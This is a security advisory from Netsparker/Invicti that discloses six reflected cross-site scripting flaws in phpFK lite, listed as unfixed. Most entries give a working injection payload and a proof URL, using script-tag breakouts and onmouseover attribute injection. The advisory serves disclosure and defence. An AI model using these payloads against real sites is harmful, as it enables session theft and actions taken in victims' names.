Multiple Reflected Cross-site Scripting Vulnerabilities in phpFK lite-version

Information

Advisory by Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in phpFK
Affected Software: phpFK
Affected Versions: lite-version
Homepage: https://www.frank-karau.de/
Vulnerability: Reflected Cross-site Scripting
Severity: 7.4 High
Status: Not Fixed
CVSS Score (3.0): CVE-2017-18364
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-006

Technical Details

1. /faq.php (Query Based (Query String))
   Parameter Name: Query Based
   Parameter Type: Query String
   Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00164F)</scRipt>
   Proof URL: http://{domain}/faq.php?'"--></style></scRipt><scRipt>alert(0x00164F)</scRipt>
2. /members.php (Query Based (Query String))
   Parameter Name: Query Based
   Parameter Type: Query String
   Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00158E)</scRipt>
   Proof URL: http://{domain}/members.php?'"--></style></scRipt><scRipt>alert(0x00158E)</scRipt>
3. /members.php (search (GET))
   Parameter Name: search
   Parameter Type: GET
   Attack Pattern: x%22+onmouseover%3dnetsparker(0x0069A0)+x%3d%22
   Proof URL: http://{domain}/members.php?search=x"%20onmouseover=netsparker(0x0069A0)%20x="&sort=username
4. /members.php (search (POST))
   Parameter Name: search
   Parameter Type: POST
   Attack Pattern: x%22+onmouseover%3dnetsparker(0x006EBA)+x%3d%22
5. /search.php (Query Based (Query String))
   Parameter Name: Query Based
   Parameter Type: Query String
   Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x00171D)</scRipt>
   Proof URL: http://{domain}/search.php?'"--></style></scRipt><scRipt>alert(0x00171D)</scRipt>
6. /user.php (user (GET))
   Parameter Name: user
   Parameter Type: GET
   Attack Pattern: %3c%2ftitle%3e%3cscRipt%3enetsparker(0x001122)%3c%2fscRipt%3e
   Proof URL: http://{domain}/user.php?user=</title><scRipt>netsparker(0x001122)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

2nd April 2019 – First Contact Attempted
10th July 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing the Invicti Web Application Security Scanner.

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